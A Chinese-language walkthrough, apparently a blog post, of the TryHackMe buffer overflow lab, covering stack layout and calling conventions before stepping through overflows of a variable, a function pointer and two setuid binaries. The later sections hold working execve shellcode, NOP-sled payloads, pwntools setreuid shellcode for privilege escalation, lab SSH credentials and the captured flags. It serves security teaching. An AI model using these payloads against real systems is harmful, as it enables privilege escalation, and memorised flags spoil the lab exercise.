本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/bof1
通过学习相关知识点:了解如何开始基本的缓冲区溢出攻击!
简介
在这个实验中,我们的目标是探索基于 x86-64 的Linux 程序上的简单堆栈缓冲区溢出(没有任何缓解措施),我们将使用 radare2 (r2) 工具检查目标的内存布局。
radare2 (r2)工具的地址链接:https://github.com/radareorg/radare2
该实验提供了一个包含所有资源的虚拟靶机,以确保我们拥有正确的环境和工具来跟进学习,我们可以使用以下凭据 通过 SSH 访问目标虚拟机:
- Username: user1
- Password: user1password
Process Layout-进程布局
当程序在机器上运行时,计算机会将该程序作为进程运行,并且当前的计算机体系结构允许多个进程并发运行(同时由一台计算机)。 当多个进程并发运行时:虽然这些进程看起来是在同时运行的,但实际上是因为计算机在这些进程之间切换得非常快,才使它们看起来像是在同时运行。进程之间的切换可称为上下文切换,由于每个进程可能需要不同的信息来运行(例如当前要执行的指令),所以操作系统必须跟踪进程中的所有信息。
进程中的内存是按顺序组织的,布局如下:
-
用户堆栈(User stack )包含了运行程序所需的信息,这些信息将包括当前的程序计数器、已保存的寄存器和其他更多信息(我们将在下一节中详细介绍),用户堆栈(User stack )之后的部分是未使用的内存,该内存用于堆栈增长(向下)。
-
共享库区域(Shared library regions):程序所使用的用于静态/动态链接的库。
-
堆(heap )将根据程序是否动态分配内存而动态地增加和减少,请注意,堆上方还有一个未分配的部分,此部分将在堆大小增加的情况下使用。
-
程序的代码和数据( code and data):存储可执行程序和初始化变量。
答题
x86-64 程序
一个程序通常包含多个函数,所以需要有一种方法来跟踪哪个函数被调用,以及哪些数据从一个函数传递到另一个函数;堆栈是一个具有连续内存地址的区域,它能够用于在多个函数之间轻松地传输控制和数据,堆栈的顶部(Top)位于最低的内存地址,堆栈向较低的内存地址方向增长。
栈中最常见的操作是:
-
push -压入:用于向栈中添加数据;
-
pop -出栈:用于从栈中取出数据。
push var
这是将值压入堆栈的汇编指令,它执行以下操作:
- 使用 var 或存储在 var 内存位置的值;
- 将堆栈指针(被称为rsp)减 8;
- 将上面的值写入 rsp 的新位置,该位置现在是堆栈的顶部。
pop var
这是一条汇编指令,用于读取一个值并将其从堆栈中弹出,它执行以下操作:
- 读取堆栈指针(rsp)给定地址处的值;
- 将堆栈指针(rsp)增加 8;
- 将之前从rsp读取到的值存储到 var。
要注意,弹出堆栈中的值时内存并不会改变 - 只有堆栈指针的值会改变!
栈帧(stack frame)
每个编译后的程序可能包含多个函数,其中每个函数都需要存储局部变量、传递给函数的参数等等,为了便于管理,每个函数都有自己独立的栈帧,每个新的栈帧将在调用函数时分配,并在函数完成时释放。
用一个例子来解释,看下面两个函数即可(此处只是引入示例函数,具体的分析过程在下一小节):
int add(int a, int b){
int new = a + b;
return new;
}
int calc(int a, int b){
int final = add(a, b);
return final;
}
calc(4, 5)
答题
程序的进一步分析(基于上一小节的函数示例)
假设当前执行点在 calc 函数内部,在这种情况下,calc 称为调用函数,add 称为被调用函数,下面给出calc函数内部的汇编代码。
add 函数是使用汇编中的 call 操作数调用的,在本例中为 callq sym.add
(见上图),call 操作数可以将标签作为参数(例如函数名),也可以将内存地址以call *value 的形式作为函数起始位置的偏移量。一旦调用了 add 函数(并且在它完成之后),程序就需要知道接下来在程序中的哪一点继续执行,为此,计算机会将下一条指令的地址压入堆栈,在本例中是包含 movl %eax, local_4h
(见上图) 的指令的地址;之后,程序会为新函数(此处为add函数)分配一个栈帧,并将当前指令指针指向函数中的第一条指令,将栈指针(rsp)指向栈顶,并将帧指针(rbp)指向新帧的开始。
一旦add函数执行完毕,它会调用返回指令(retq)。返回指令将弹出堆栈返回地址的值,释放add 函数的堆栈帧,将指令指针指向返回地址的值,将堆栈指针(rsp)指向堆栈顶部,将帧指针 (rbp)指向 calc 的堆栈帧。(此处的返回地址是指从被调用函数返回后 调用函数应该继续执行的指令地址)
现在我们已经了解了控制是如何通过函数传递的,接下来让我们看看数据是如何在函数间传递的。
在上面的例子中,我们需要保存函数的接受参数(calc 函数有两个参数——a 和 b),函数的最多 6 个参数可以存储在以下寄存器中:
- rdi寄存器
- rsi寄存器
- rdx寄存器
- rcx寄存器
- r8寄存器
- r9寄存器
注意:rax寄存器 是一个特殊的寄存器,用于存储函数的返回地址(如果有的话)。
如果函数有更多参数,则这些参数将存储在函数的堆栈帧中。
我们现在可以看到调用函数能将值保存在它们的寄存器中,但是如果被调用函数也想将值保存在寄存器中会发生什么? 为了确保值不被覆盖,被调用函数首先要将寄存器的原值保存在它们的栈帧中,并在函数返回前使用寄存器 最后将值加载回寄存器。调用函数也可以将值保存在调用函数的帧上,以防止值被覆盖。以下是一些用于调用函数和被调用函数保存值的相关寄存器的规则:
- rax 用于调用函数方存值
- rdi, rsi, rdx, rcx r8 和r9 用于调用函数方存值(它们通常是函数的参数--arguments )
- r10, r11 用于调用函数方存值
- rbx, r12, r13, r14 用于被调用函数方存值
- rbp 用于被调用函数方存值(并且可以选择被用作帧指针)
- rsp 用于被调用函数方存值
以下是一个更详尽的运行时堆栈示例:
答题
Endianess(字节顺序)
在上面的程序中,我们可以看到二进制信息是以十六进制格式表示的,不同的体系结构实际上在以不同的方式表示相同的十六进制数,这就是所谓的字节顺序,字节顺序主要有:小端字节序和大端字节序。
我们以0x12345678的值为例,首先明确一点:0x12345678 的最低有效字节是最右边的值 (78),而最高有效字节则是最左边的值 (12)。
Little Endian(小端字节序) 是将值从最低有效字节到最高有效字节方向进行排列的字节顺序:
Big Endian(大端字节序) 是将值从最高有效字节到最低有效字节方向进行排列的字节顺序:
这里的每个“值”至少都需要一个字节来表示,并将作为多字节对象的一部分。
本小节知识点理解参考:
https://www.lmlphp.com/user/58356/article/item/2659098/
https://developer.mozilla.org/zh-CN/docs/Glossary/Endianness
覆盖变量
现在我们已经了解必要的基础信息,让我们开始探究栈溢出是如何实际发生的。
查看虚拟靶机中的overflow-1文件夹,我们会发现一个用c代码编写的二进制程序,我们的想法是要覆盖程序中的整数变量的值。
从以上C代码中可以看到,整数变量和字符缓冲区是相邻分配的-因为内存是以连续字节分配的,所以可以假设整数变量和字符串缓冲区是彼此相邻分配的。
注意:情况可能并非总是如此,根据编译器和堆栈的配置方式,当分配变量时,它们需要与特定的大小边界(例如8字节、16字节)对齐,以便于内存分配/释放。因此,如果在堆栈对齐16字节的位置分配了一个12字节数组,那么内存分配情况将如下所示。
编译器将自动添加4个字节,以确保变量的大小与堆栈大小一致。基于上面的堆栈图像,我们可以假设c代码中主函数的堆栈帧如下所示:
即使堆栈向下增长,当数据被复制/写入缓冲区(buffer)时,它也会从较低地址复制到较高地址。根据数据输入缓冲区(buffer)的方式,我们可以利用它来覆盖整数变量,从C代码中,我们可以看到gets()函数用于从标准输入中向缓冲区(buffer)输入数据,这个gets()函数很危险,因为它没有真正的长度检查-这意味着我们可以输入超过14个字节的数据,然后这将导致c代码中的整数变量被覆盖。
tips:关于示例代码中的volatile关键字
volatile 关键字是一种类型修饰符,用它声明的类型变量表示可以被某些编译器未知的因素更改。volatile 提醒编译器它后面所定义的变量随时都有可能改变,因此编译后的程序每次需要存储或读取这个变量的时候,都会直接从变量地址中读取数据。如果没有 volatile 关键字,则编译器可能优化读取和存储,可能会暂时使用寄存器中的值,如果这个变量由别的程序更新了的话,那将出现不一致的现象;反之如果遇到这个关键字声明的变量,则编译器对访问该变量的代码就不再进行优化,从而可以提供对特殊地址的稳定访问。
答题
覆盖函数指针
关于本小节的示例,我们需要查看overflow- 2文件夹,在相关文件夹中,我们将注意到以下C代码:
与上一小节中的示例类似,在本小节的示例代码中也是使用gets()函数将数据读入缓冲区(buffer)。
注意:在本例中,指针指向的内存位置对应的是上图中的normal函数(指针,顾名思义,用于指向内存位置)。
本例的堆栈的布局与上一小节的示例类似,本小节的具体任务是:尝试调用示例程序中的special()函数,这可能需要我们找到并使用special()函数的内存地址。
注意:这台机器的架构是小端字节序。
具体操作
部署虚拟靶机,并使用SSH连接到该靶机。
ssh [email protected]
#ssh user1@target_ip
#Password: user1password
访问overflow- 2文件夹并查看该文件夹下的c代码。
使用gdb调试overflow- 2文件夹下的func-pointer可执行程序。
gdb func-pointer
然后运行下面的set命令,它将为 gdb 设置environment从而可以使用我们所运行的任何可执行文件的绝对路径,这意味着在 gdb 内部所进行的任何利用操作在gdb外部也能够得以奏效。
set exec-wrapper env -u LINES -u COLUMNS
设置完environment 后,我们将继续探索需要使用多少个字符才能使目标程序的缓冲区溢出并导致分段错误,由上述c代码的内容可知 char buffer字符数组的大小被设置为14,所以我们接下来执行程序(输入run)并尝试输入15个字符。
run
AAAAAAAAAAAAAAA #15个A
从上图可以看到:当我们输入15个A字符后,分段发生错误即目标程序的缓冲区已经溢出、程序发生崩溃;并且在我们输入15个A之后,对应的返回地址中的最右边字符为41,而41刚好对应的是“A”的十六进制代码,这意味着我们已经成功开始初步覆盖返回地址;接下来我们将继续增加输入的A字符的数量——以探测我们具体需要多少个A字符才能完全覆盖返回地址。
如我们所见,当我们发送 20 个“A”字符之后“41”(“A”的十六进制转换)将覆盖完整的返回地址,而当我们输入 21 个“A”之后,会导致对应的返回地址不再被“41”覆盖而是重定向到其他地方,这意味着除了初始的buffer字符数组所需的14个字节外 我们再增加 6 个字节就可以成功覆盖返回地址 (20-14=6,完全覆盖返回地址需要 6 个字节)。
我们的目的是调用程序中的special()函数,所以我们接下来需要找到special()函数的地址,在gdb中使用以下命令即可。
disassemble special
由上图可以知special()函数将从“0x0000000000400567
”开始(也就是函数的起始地址),由于目标机器的架构是小端字节序,所以我们要按照小端点字节序来写入地址,最后我们实际需要的内存位置为\x67\x05\x40\x00\x00\x00
(由前述结果可知 完全覆盖返回地址需要6个字节);接下来我们将刚才获取到的内存位置写入到buffer中并让其完全覆盖返回地址即可(继续使用上面的gdb界面,这次输入14个A字符+6字节的内存位置即可)。
#run
#AAAAAAAAAAAAAA`\x67\x05\x40\x00\x00\x00`
#1个字节=2个16进制字符‘’
#run $(python -c "print('A'*14 + '\x67\x05\x40\x00\x00\x00')")
一旦我们成功调用special()函数,这就意味着我们已经完成了对内存地址的覆盖操作 也就是对原先的函数指针的覆盖操作。
缓冲区溢出示例1
关于本小节示例,我们需要查看靶机中的 overflow-3 文件夹,在此文件夹中,我们将找到以下 C 代码。
在前面的示例中,我们已经知道当程序接受用户控制的输入时,它可能不会检查输入的字节长度,因此恶意用户就能够覆盖变量值并实际更改相关变量。
在本例中,观察copy_arg 函数,我们可以看到其中的 strcpy 函数正在将字符串(即 argv[1],命令行参数)的输入复制到长度为 140 字节的缓冲区中。 由于 strcpy 函数的性质,它不会检查所输入数据的长度,所以此处有可能发生缓冲区溢出。
让我们看一下 copy_arg 函数的栈会是什么样子(这个栈不包括 strcpy 函数的栈帧):
当一个函数(在本例中为 main)调用另一个函数(在本例中为 copy_args)时,它需要在堆栈上添加返回地址,以便被调用函数(copy_args)知道一旦完成执行应该将控制权转移到哪里。 从上面的栈中,我们知道输入的数据会从buffer[0]向上一直复制到buffer[140],由于我们可以溢出缓冲区,因此我们可以用我们自己构造的值溢出并覆盖返回地址——也就是说我们可以控制函数返回的位置并改变程序的执行流程。
一旦知道我们可以通过将返回地址指向某个内存地址来控制程序执行流程,那么shellcode 就有了用武之地,shellcode 顾名思义就是用于打开 shell 的代码,具体而言,它是一些可以被执行的二进制指令;由于 shellcode 是机器代码(以二进制指令的形式存在),我们通常可以先编写一个 C 程序来执行我们想要的操作,然后再将其编译成汇编形式并提取相关的十六进制字符(可能它还会涉及编写自定义的程序集),现在我们将使用下面这个能够打开基本 shell 的 shellcode:
\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05
#以上内容仅作为示例
我们需要将被覆盖的返回地址指向 shellcode,但是我们还要知道实际上要将 shellcode 存储在哪里以及我们应该将它指向什么实际地址? 我们可以将 shellcode 存储在缓冲区中 - 因为我们知道缓冲区的起始地址,所以我们可以覆盖返回地址以将其指向缓冲区的开头位置。以下是一些相关过程:
-
找出缓冲区的起始地址和返回地址的起始地址;
-
计算这些地址之间的差异,以便我们知道要输入多少数据才能导致缓冲区溢出;
-
首先在缓冲区中输入 shellcode,然后在 shellcode 和返回地址之间输入随机数据,还要在返回地址中输入缓冲区的地址(以完成对返回地址的覆盖)。
从理论上讲,完成以上过程可能会有一个很好的效果,但是,内存地址在不同系统上可能不相同,即使在重新编译程序时在同一台计算机上也是如此,所以我们还可以使用 NOP 指令使以上过程更加灵活;NOP指令是一条无操作指令——当系统处理这条指令时,它将什么也不做,继续往下执行,NOP 指令可以使用\x90来表示;我们可以将 NOP 作为有效载荷的一部分,这意味着攻击者可以跳转到包含 NOP 的内存区域中的任何位置,并最终到达预期的指令,注入向量的情况将如下所示:
你可能已经注意到 shellcode、内存地址和 NOP sled 通常是十六进制代码,为了便于将有效载荷传递给输入程序,我们可以使用 python命令:
python -c "print (NOP * no_of_nops + shellcode + random_data * no_of_random_data + memory address)"
以上python命令在本例中将呈现为如下形式:
python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+
'\x41' * 60 +
'\xef\xbe\xad\xde') | ./program_name
"
#以上内容仅作为示例
在某些情况下,我们可能需要在 ./program_name 之前传递 xargs。
答题
使用上述方法打开一个shell,读取虚拟靶机中的overflow-3 文件夹下的secret.txt文件内容。
gdb -q buffer-overflow #buffer-overflow在此处是程序名
run $(python -c "print('A'*158)")
由上图可以看到,当我们输入158字节后,成功覆盖了 6 字节长的返回地址(字符A对应的十六进制为41,一个十六进制位占1个字节长度),这意味着我们到达返回地址开头的偏移量是 158-6 = 152字节。
我们将使用以下有效shellcode(共40字节)
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
接下来我们需要完成有效载荷的最后一项是填充 shell 代码的返回地址(6 字节),我们的有效载荷将是这样的:
payload = '\x90'*90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*22 + 'B'*6
我们可以执行程序以验证payload
run $(python -c "print('\x90'*90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*22 + 'B'*6)")
接下来我们需要查看 NOP sled 字符串所在的位置,以及 shellcode 的开头。
x/100x $rsp-200
#这将从内存位置 $rsp -200 字节处转储 100*4 字节。
我们取 NOP sled 和 shellcode 之间的任何地址即可(例如 0x7fffffffe298,注意用小端字节序表示即可),最终的有效载荷将如下所示:
payload ='\x90'*90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*22 + '\x98\xe2\xff\xff\xff\x7f'
让我们在 gdb 之外运行相关命令,以确保我们处于良好的环境中。
./buffer-overflow $(python -c "print('\x90'*90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*22 + '\x98\xe2\xff\xff\xff\x7f')")
我们成功获得一个shell,但是当前权限还不足以让我们查看secret.txt,所以我们要切换到user2。
我们刚才所利用的存在缓冲区溢出漏洞的程序已经设置了setuid位(权限中有“s”),我们能够利用这一点。
我们先输入cat /etc/passwd
命令以找到user2的UID(1002):
使用setreuid() 可以重新设置真实和有效的uid,我们可以添加setreuid()以修改之前的shellcode,让它在执行/bin/sh之前先执行setreuid(1002,1002)即可。
我们可以使用pwntools来帮助我们修改shellcode。
安装pwntools工具
#安装pwntools
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
使用pwntools的shellcraft 模块
pwn shellcraft -f d amd64.linux.setreuid 1002
#-f d将shellcode格式设置为“转义”,也可以设置-f a 以查看汇编版本的shellcode
得到setreuid(1002,1002)所对应的shellcode:
\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
将setreuid(1002,1002)所对应的shellcode添加到我们之前获得目标shell所使用的shellcode之中即可,最终需执行以下命令
./buffer-overflow $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*8 + '\x98\xe2\xff\xff\xff\x7f')")
#将setreuid(1002,1002)所对应的shellcode添加在原先的shellcode前面 调整字节数——保持字节总长度仍然为158字节即可。
overflow-3 文件夹下的secret.txt内容为:omgyoudidthissocool!!
缓冲区溢出示例2
查看靶机中的 overflow-4 文件夹,尝试对该文件夹下的二进制文件使用缓冲区溢出技术(具体操作和上一小节类似)。
答题
首先查看overflow-4 文件夹下的buffer-overflow-2.c文件。
目标缓冲区大小为 154 字节,但初始已经添加了字符串 doggo(5 个字符),所以我们应该从154-5字节开始测试:
gdb -q buffer-overflow-2
run $(python -c "print('A'*(154-5+8*2+4))")
由上图可知偏移量为 169 (154–5+8*2+4)字节。
我们将使用与之前相同的 shellcode(158 字节)和setreuid函数。 这一次,我们需要以 user3(UID 为 1003)为目标,以便能够读取 overflow-4 文件夹下的 secret.txt:
使用pwntools
pwn shellcraft -f d amd64.linux.setreuid 1003
得到setreuid(1003,1003)所对应的shellcode:
\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
结合上一小节中的初始shellcode可知本例中所要使用的完整shellcode如下(共54字节):
\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
最后我们要覆盖返回地址。
让我们看看我们的有效载荷,它应该是这样的:
我们在gdb环境下进行测试:
run $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*19 + 'C'*6)")
接下来我们需要查看 NOP sled 字符串所在的位置,以及 shellcode 的开头。
x/100x $rsp-200
#这将从内存位置 $rsp -200 字节处转储 100*4 字节。
我们取 NOP sled 和 shellcode 之间的任何地址作为返回地址即可(例如 0x7fffffffe278,注意用小端字节序表示),让我们在 gdb 之外运行相关命令,以确保我们处于良好的环境中。
./buffer-overflow-2 $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*19 + '\x78\xe2\xff\xff\xff\x7f')")
标签:字节,Buffer,x2f,地址,x48,THM,Overflow,x05,函数 From: https://www.cnblogs.com/Hekeats-L/p/17167873.htmloverflow-4 文件夹下的secret.txt内容为:wowanothertime!!